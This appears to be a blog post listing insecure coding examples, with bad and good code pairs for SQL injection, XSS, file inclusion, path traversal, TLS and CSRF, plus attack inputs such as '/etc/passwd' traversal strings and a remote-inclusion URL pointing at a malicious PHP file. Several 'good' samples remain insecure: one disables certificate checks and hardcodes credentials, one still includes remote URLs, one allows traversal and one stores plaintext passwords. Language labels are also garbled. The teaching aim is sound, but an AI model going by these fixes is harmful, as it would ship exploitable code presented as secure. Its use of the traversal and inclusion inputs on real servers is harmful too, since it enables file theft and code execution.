Common Insecure Coding Examples

1. Insecure Authentication:

Bad Code (SCSS): User's credentials are not hashed or protected, which can allow an attacker to steal user credentials.

username = request.POST['username']
password = request.POST['password']
query = "SELECT * FROM users WHERE username = '{}' AND password = '{}'".format(username, password)
cursor.execute(query)

Good Code (SCSS) User's password is hashed using a secure hashing algorithm before being used in the SQL query. 

username = request.POST['username']
password = request.POST['password']
hashed_password = hash_password(password)
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, hashed_password))

 

2. SQL Injection

Bad Code (CSS): User input is directly concatenated into the SQL query, which can allow an attacker to manipulate the query and execute unintended actions. In addition, all users are able to access sensitive information, which can allow an attacker to steal user data.

user_id = request.GET['user_id']
query = "SELECT * FROM users WHERE id = {}".format(user_id)
cursor.execute(query)

Good Code (CSS):  A parameterized query is used to prevent SQL injection.

user_id = request.GET['user_id']
query = "SELECT * FROM users WHERE id = %s"
cursor.execute(query, (user_id,))

 

3. Un-Sanitizing User Input:

Bad Code (SCSS): User input is not sanitized, which can allow an attacker to execute unintended queries. 

search_term = request.GET['search_term']
query = "SELECT * FROM users WHERE name LIKE '%{}%'".format(search_term)
cursor.execute(query)

Good Code (SCSS): User input is sanitized before being used in the SQL query to prevent SQL injection attacks.

search_term = request.GET['search_term']
search_term = sanitize_input(search_term)
query = "SELECT * FROM users WHERE name LIKE %s"
cursor.execute(query, (f"%{search_term}%",))

 

4. Not Using Prepared Statements:

# Bad Code (SCSS): The SQL query is not using prepared statements, which can allow an attacker to manipulate the query and execute unintended actions.

query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)

Good Code (SCSS): Prepared statements are used to prevent SQL injection attacks.
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))


5. Cross-Site Scripting (XSS):

Bad code (CSS): User input is included in an HTML response without proper sanitization, which can allow an attacker to execute malicious scripts in a user's browser.

input_data = request.POST['input_data']
html = "<div>" + input_data + "</div>"
return HttpResponse(html)

Good code (CSS):  The escape function is used to sanitize the input before including it in the HTML response.

input_data = request.POST['input_data']
html = "<div>" + escape(input_data) + "</div>"
return HttpResponse(html)

 

6. Missing Content Security Policy (CSP) in HTTP Header

When a CSP policy is added to the HTTP response header, it tells the user's web browser which types of resources the web page is allowed to load, such as scripts, images, stylesheets, and other types of content. It also specifies the allowed sources for these resources, which can include specific domains or URLs, and can restrict the use of inline scripts or code.

An example of strict CSP is below:
Content-Security-Policy:
  object-src 'none';
  script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
  base-uri 'none';
  report-uri https://myexample.com

- object-src 'none': Prevents fetching and executing plugin resources embedded using <object>, <embed> or <applet> tags. The most common example is Flash.

- script-src nonce-{random} 'unsafe-inline': The nonce directive means that <script> elements will be allowed to execute only if they contain a nonce attribute matching the randomly-generated value which appears in the policy. With CSP nonce the unsafe-inline directive will be ignored by modern browsers. Older browsers, which don't support nonces, will see unsafe-inline and allow inline scripts to execute.

- script-src 'strict-dynamic' https: http: 'strict-dynamic': allows the execution of scripts dynamically added to the page, as long as they were loaded by a safe, already-trusted script (see the specification). With 'strict-dynamic' the https: and http: whitelist entries will be ignored by modern browsers. Older browsers will allow the loading of scripts from any URL.

- 'unsafe-eval' allows the application to use the eval() JavaScript function. This reduces the protection against certain types of DOM-based XSS bugs, but makes it easier to adopt CSP. If your application doesn't use eval(), you can remove this keyword and have a safer policy.

- base-uri 'none': Disables <base> URIs, preventing attackers from changing the locations of scripts loaded from relative URLs. If your application uses <base> tags, base-uri 'self' is usually also safe.

- report-uri https://myexample.com/ causes all violations to the policy to be reported to the supplied URL so you can debug them.

 

7. Insecure Dependencies

Bad Code (Python): An untrusted library is imported, which can contain security vulnerabilities or backdoors.
import untrusted_library

Good Code (Python):  A trusted library and a specific function is imported to reduce the risk of security vulnerabilities.
from trusted_library import secure_function

 

8. File Inclusion Vulnerabilities

File Inclusion Vulnerabilities are a type of security vulnerability that allows an attacker to include files on a web server that are not intended to be accessed by a user. There are two types of file inclusion vulnerabilities:
Local File Inclusion (LFI): allows an attacker to include local files on the web server.
Remote File Inclusion (RFI): allows an attacker to include remote files on the web server.

#Bad Code1 (PHP):  LFI vulnerability with a local file specified by the page parameter in the URL. An attacker could get the /etc/passwd file by setting the page parameter to ../../../../../../etc/passwd. This would cause the script to include the /etc/passwd file, which contains user account information for the web server.

<?php
$page = $_GET['page'];
include($page . '.php');
?>

#Good Code1 (PHP): Using a whitelist approach to only allow the home, about, and contact pages to be included.

<?php
$allowed_pages = ['home', 'about', 'contact'];
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // handle error, redirect to homepage, or display a custom error message
}
?>

 

#Bad Code2 (PHP): RFI vulnerability with the include() function is used to include a file specified by the page parameter using a URL instead of a file path. An attacker can exploit this vulnerability by providing a URL to a file that they control.

<?php
$page = $_GET['page'];
include('http://' . $page);
?>

#Good Code2 (PHP): Use a whitelist approach for allowed URLs, which means that only specific URLs are allowed to be included, and all other URLs are blocked. 

<?php
$allowed_urls = ['https://example.com', 'https://api.example.com'];
$page = $_GET['page'];
if (in_array($page, $allowed_urls)) {
    include($page);
} else {
    // handle error, redirect to homepage, or display a custom error message
}
?>

 

Bad Code3: (C#)

filename = request.GET['filename']
file_path = "/var/www/files/" + filename
with open(file_path, "r") as file:
    content = file.read()

Good Code3: (C#)
filename = request.GET['filename']
if filename.endswith(".txt"):
    file_path = "/var/www/files/" + filename
    with open(file_path, "r") as file:
        content = file.read()
else:
    content = "Invalid file type"

 

9. Improperly Validated and Hashed User Input:

Bad Code C#:  User input is not properly validated and hashed, which can allow an attacker to steal user credentials.

@app.route('/api/user', methods=['POST'])
def create_user():
    username = request.json['username']
    password = request.json['password']
    user = User(username, password)
    db.session.add(user)
    db.session.commit()
    return jsonify({'message': 'User created'})

Good Code C#: User input is validated and hashed using the bcrypt library to prevent attackers from accessing the user's credentials.

@app.route('/api/user', methods=['POST'])
def create_user():
    username = request.json['username']
    password = request.json['password']
    if not username or not password:
        return jsonify({'message': 'Invalid data'}), 400
    hashed_password = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
    user = User(username, hashed_password)
    db.session.add(user)
    db.session.commit()
    return jsonify({'message': 'User created'})

 

10. Lack of Authentication and Authorization:

# Bad Code (Python): No authentication or authorization implemented, which can allow anyone to access sensitive information. 

def get_user_profile(request):
    user_id = request.GET['user_id']
    user = User.objects.get(id=user_id)
    return JsonResponse({
        'username': user.username,
        'email': user.email,
        'phone_number': user.phone_number
    })

# Good Code (Python): Authentication and authorization are implemented to ensure that only authorized users can access sensitive information.

@authentication_required
@authorization_required(allowed_roles=['admin', 'user'])
def get_user_profile(request):
    user_id = request.GET['user_id']
    user = User.objects.get(id=user_id)
    return JsonResponse({
        'username': user.username,
        'email': user.email,
        'phone_number': user.phone_number
    })

 

11. Lack of Input Validation:

Bad Code (Python):

def create_user(request):
    username = request.POST['username']
    email = request.POST['email']
    password = request.POST['password']
    user = User.objects.create(
        username=username,
        email=email,
        password=password
    )
    return JsonResponse({
        'status': 'success',
        'user_id': user.id
    })

Good Code (Python):

def create_user(request):
    username = request.POST.get('username')
    email = request.POST.get('email')
    password = request.POST.get('password')
    if not username or not email or not password:
        return JsonResponse({
            'status': 'error',
            'message': 'Missing required parameters'
        }, status=400)
    user = User.objects.create(
        username=username,
        email=email,
        password=password
    )
    return JsonResponse({
        'status': 'success',
        'user_id': user.id
    })

 

12. Exposing Sensitive Information:

Bad Code (Python): User password is exposed in the API response, which can allow an attacker to steal user credentials

def get_user_profile(request):
    user_id = request.GET['user_id']
    user = User.objects.get(id=user_id)
    return JsonResponse({
        'username': user.username,
        'email': user.email,
        'phone_number': user.phone_number,
        'password': user.password # Exposing sensitive information
    })

Good Code (Python):  Sensitive information is not included in the API response.

@authentication_required
@authorization_required(allowed_roles=['admin', 'user'])
def get_user_profile(request):
    user_id = request.GET['user_id']
    user = User.objects.get(id=user_id)
    return JsonResponse({
        'username': user.username,
        'email': user.email,
        'phone_number': user.phone_number
    })

 

13. Not Using HTTPS:

Bad Code1 (Python):

@api_view(['GET'])
def get_user_profile(request):
    user_id = request.GET['user_id']
    user = User.objects.get(id=user_id)
    return JsonResponse({
        'username': user.username,
        'email': user.email,
        'phone_number': user.phone_number
    })

# Good Code1 (Python):

@api_view(['GET'])
@ssl_required
def get_user_profile(request):
    user_id = request.GET['user_id']
    user = User.objects.get(id=user_id)


14. Not Using TSL:

Bad Code (Python): Unsecure SMTP to send mail on port 25

import smtplib
from email.mime.text import MIMEText
msg = MIMEText("Hello, this is a test email")
msg['Subject'] = "Test Email"
msg['From'] = "sender@example.com"
msg['To'] = "recipient@example.com"
smtp_server = 'smtp.example.com'
smtp_port = 25
smtp_username = 'sender@example.com'
smtp_password = 'password'
# Create an unsecure SMTP connection to the server
smtp_connection = smtplib.SMTP(smtp_server, smtp_port)
# Login to the SMTP server
smtp_connection.login(smtp_username, smtp_password)
# Send the email message
smtp_connection.sendmail(msg['From'], msg['To'], msg.as_string())
# Close the SMTP connection
smtp_connection.quit()


Good Code (Python): Secure SMTP with TLS to send mail on port 587

import smtplib

from email.mime.text import MIMEText

import getpass

msg = MIMEText("Hello, this is a test email")

msg['Subject'] = "Test Email"

msg['From'] = "sender@example.com"

msg['To'] = "recipient@example.com"

smtp_server = 'smtp.example.com'

smtp_port = 587

smtp_username = 'sender@example.com'

smtp_password = getpass.getpass("SMTP Password: ")

# Create a secure SMTP connection to the server

smtp_connection = smtplib.SMTP(smtp_server, smtp_port)

smtp_connection.ehlo()

smtp_connection.starttls()

smtp_connection.ehlo()

# Login to the SMTP server

smtp_connection.login(smtp_username, smtp_password)

# Send the email message

smtp_connection.sendmail(msg['From'], msg['To'], msg.as_string())

# Close the SMTP connection

smtp_connection.quit()


 

15. Path Traversal (AKA Directory Traversal or Directory Climbing): 

A vulnerability that occurs when a web application allows a user to access files or directories outside the intended scope of the application. It arises due to improper handling of user-supplied input, which can be manipulated to traverse the file system and access sensitive files or execute arbitrary code.

Example 1http://example.com/getUserProfile.jsp?item=ikki.html
An attacker could get the password hash file of a Linux system by inserting the malicious string such as 
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd, to get the password hash file of a Linux system. 

Example 2http://example.com/index.php?file=content or http://example.com/some-page.asp?page=index.html
An attacker could include malicious code from an external source: 
http://example.com/index.php?file=http://www.hacker.org/malicious.php
or 
http://example.com/some-page?page=http://www.hacker.org/other-page.htm/malicius-code.php

Example 3http://example.com/get-files.jsp?file=report.pdf
An attacker could access files located outside the web publish directory by inserting the malicious string such as http://example.com/get-files?file=../../../../some dir/some file  
or http://example.com/get-files?file=/etc/passwd, to get the password hash file of a Linux system.
 
Example 4: Absolute Path Traversal
        http://example.com/get.php?f=list
        http://example.com/get.cgi?f=2
        http://example.com/get.asp?f=test
        An attacker can execute the following attacks:
        http://example.com/get.php?f=/var/www/html/get.php
        http://example.com/get.cgi?f=/var/www/html/admin/get.inc
        http://example.com/get.asp?f=/etc/passwd

Example 5: An attacker made the server show the CGI source code http://example.com/cgi-bin/main.cgi?file=main.cgi

Example 6: Un-sanitize the filename parameter makes it vulnerable to path traversal attacks.

Bad code (Python):  
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/files')
def get_file():
 filename = request.args.get('filename')
 filepath = os.path.join('/var/www/files/', filename)
 return open(filepath, 'r').read()
if __name__ == '__main__':
 app.run()

Good code (Python)Checks that the filename consists only of alphanumeric  #characters using the isalnum() method. Additionally, a whitelist of allowed filenames is #maintained, and the input is validated against it. If the filename is deemed invalid or #not present in the whitelist, appropriate HTTP error responses are returned.

import os
from flask import Flask, request, abort
app = Flask(__name__)
@app.route('/files')
def get_file():
    filename = request.args.get('filename')
    # Ensure the filename contains only valid characters
    if not filename.isalnum():
        abort(400, 'Invalid filename')
    # Validate the filename against a whitelist of allowed files
    whitelist = ['file1.txt', 'file2.txt', 'file3.txt']
    if filename not in whitelist:
        abort(403, 'Access denied')
    filepath = os.path.join('/var/www/files/', filename)
    return open(filepath, 'r').read()
if __name__ == '__main__':
    app.run()

 

16. Insecure HTTP request Send HTTP request and get response   

# Bad Code (Nodejs):
var request = require('request');
this.httpRequest = function (reqUrl, method, expectedResp = null,  formData = null, authSettings = defaultAuthSettings) {
  return new Promise ((resolve, reject) => {
    var req = request({
      url: baseUrl + reqUrl,
      auth: authSettings,
      method: method,
      formData: formData,
      strictSSL:false
    }, function (error, response, body) {
      if (error) reject(error)
      else if (response.statusCode >= 400)   reject(response.statusCode);
      else if ((!expectedResp) || body.startsWith(expectedResp))
          resolve(body)
      else reject(body)
    })
  })
}

Good Code (Nodejs): Use HTTPs Request and improve error handlings.

this.httpsRequest = function (reqUrl, method, Data) { 
  const ERR1 = '400 Bad Request';
  const ERR2 = 'too many open connections';
        
 return new Promise((resolve, reject) => {
         var body = [];
    var req = https.request({
           host: ipAddress,
           family:6,
           auth: 'admin:smartengine',
           port: 443,
           path: reqUrl,
           method: method,     
           ended: true,
           headers: {'content-type':'application/json'},  
          rejectUnauthorized: false,
           requestCert: true,
           timeout:3000, //default 5000
           agent: false
    },
    (resp) => {            
         statusCode = resp.statusCode;
         resp.on('data', (chunk)=> {
                 if ( typeof(chunk) == undefined ) reject("Undefined chunk");
                 if ( statusCode == 200 ) {
                          var response = chunk.toString();
                          if (response.indexOf(ERR1) !=-1) reject(ERR1);
                          if (response.indexOf(ERR2) !=-1) reject(ERR2)
                          else body.push(chunk)
                 } else reject(statusCode)
                         
                 var result = Buffer.concat(body);
                 var msg = result.toString();
                 if (result.toString().indexOf("200 OK") !=-1 ){
                          resolve()
                 } else {
                          if ( statusCode === 200 ) {
                             try {
                                  var response = JSON.parse(result);
                                  var responseData = response.responseData;
                                  var responseType = response.responseType;
                                   if (JSON.stringify(responseData) != "{}" || typeof(responseData) !=="undefined") resp.emit('end');
                          } catch (e) { 
                                  (e) => {};
                          }
                 }
                 else reject(statusCode)
         }
});            
                  
resp.on('end', () => {
         var result = Buffer.concat(body);
         if ( typeof(result) === undefined ) reject("Undefined result");
         if (result.toString().indexOf("200 OK") !=-1) {                              
                 resolve()                   
         } else {
                 if (statusCode == 200) {                                       
                          try {
                                  var json = JSON.parse(result)
                          } catch (e) {                                                 
                                  (e) => {};
                          }
                          resolve(json)
                 } else {
                          reject(statusCode)
                 }
         }                       
});              
                
resp.on('close', () => {});

 })

req.on('error', (err) => { 
       reject(err)
});
if (Data) {
         req.write(Data);
}
        
req.end();
        

  })
}

 

17. Insecure Backend API:

# Bad Code (Python):
from flask import Flask, request, jsonify
import psycopg2
app = Flask(__name__)
def get_db_connection():
    return psycopg2.connect(
        host="localhost",
        database="mydatabase",
        user="myuser",
        password="mypassword"
    )
@app.route('/users/<user_id>', methods=['GET'])
def get_user(user_id):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
    user = cursor.fetchone()
    cursor.close()
    conn.close()
    if user:
        return jsonify({
            'id': user[0],
            'username': user[1],
            'email': user[2]
        })
    else:
        return jsonify({'error': 'User not found'})
if __name__ == '__main__':

    app.run()


The following security measures can be implemented:

  • Parameterized queries: Use parameterized queries or prepared statements to properly sanitize user input and prevent SQL injection attacks. 

@app.route('/users/<user_id>', methods=['GET'])
def get_user(user_id):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    user = cursor.fetchone()
    cursor.close()
    conn.close()
    if user:
        return jsonify({
            'id': user[0],
            'username': user[1],
            'email': user[2]
        })
    else:

        return jsonify({'error': 'User not found'})

  • Input validation and sanitization: Validate and sanitize get_user function 

@app.route('/users/<int:user_id>', methods=['GET'])
def get_user(user_id):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    user = cursor.fetchone()
    cursor.close()
    conn.close()
    if user:
        return jsonify({
            'id': user[0],
            'username': user[1],
            'email': user[2]
        })
    else:
        return jsonify({'error': 'User not found'})

  • Use HTTPs:  Define Flask route to serve get_user function over HTTPS

@app.route('/users/<int:user_id>', methods=['GET'])
def get_user(user_id):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
    user = cursor.fetchone()
    cursor.close()
    conn.close()
    if user:
        return jsonify({
            'id': user[0],
            'username': user[1],
            'email': user[2]
        })
    else:
        return jsonify({'error': 'User not found'})
              
# Redirect all HTTP requests to HTTPS
@app.before_request
def before_request():
    if not request.is_secure:
        url = request.url.replace('http://', 'https://', 1)
        return redirect(url, code=301)
if __name__ == '__main__':
    app.run()

If you're building an API, make sure to properly authenticate and authorize users, validate input data, and use HTTPS to encrypt all data in transit. Failure to do so can expose your users to attacks such as data theft, denial of service, or man-in-the-middle attacks.


18. Use SSL, outdate TLS 1.1, TLS1.2 in HTTPs

sslyze and testssl are used to test the Apache configuration.
sslyze is only used to ensure TLS compression is disabled.
testssl should be in the latest version to ensure all known attacks are tested
Ensure update SSL, TLS 1.1, TLS 1.2 with TLS 1.3 in HTTPs.


19. Cross Site Request Forgery (CSRF): CSRF is a type of attack that tricks a user's browser into performing an action on another website without the user's knowledge or consent. To prevent CSRF attacks, websites can implement measures such as CSRF tokens. An example of this is the Apache module "mod_csrf," which injects unique tokens into each form submission and verifies them on the server to ensure the request came from a legitimate user. Here is an example of checking CSRF token of the server-side in the process.php file below:

<?php
    // Check the CSRF token
session_start();
if (empty($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("Invalid CSRF token");
}

// Process the form submission...
?>

 

20. No digital signature signed in firmware images, software images: Digital signatures can be used in firmware | software images to prevent tampering, ensure the firmware | software is coming from a trusted source, and to provide assurance that the firmware has not been modified since it was signed. 


Best Practices to Detect Insecure Programming Codes

Here are some steps to conduct a thorough code review process: 

1. Utilize automated tools, such as code analysis tools, to scan your codes with an existing vulnerable code database for potential security vulnerabilities.

2. Ensure that you and your team follow secure coding practices, such as input validation, output encoding, and parameterized queries.

3. Use secure libraries and frameworks to ensure that your codes are built on solid foundations and are less susceptible to attacks.

4. Have other members reviewed your codes to ensure that it is secure and follows best practices.

5. Follow industry standards, such as the Open Worldwide Application Security Project (OWASP), to ensure that your codes are secure and up to date with the latest security trends.

6. Stay up to date with the latest security vulnerabilities and attack methods and make sure your codes are not susceptible to them.

Comments

Popular posts from this blog

QUALITY MANAGEMENT PRINCIPLES & PRACTICES

KPIs EXAMPLES

Firmware Development and Debugging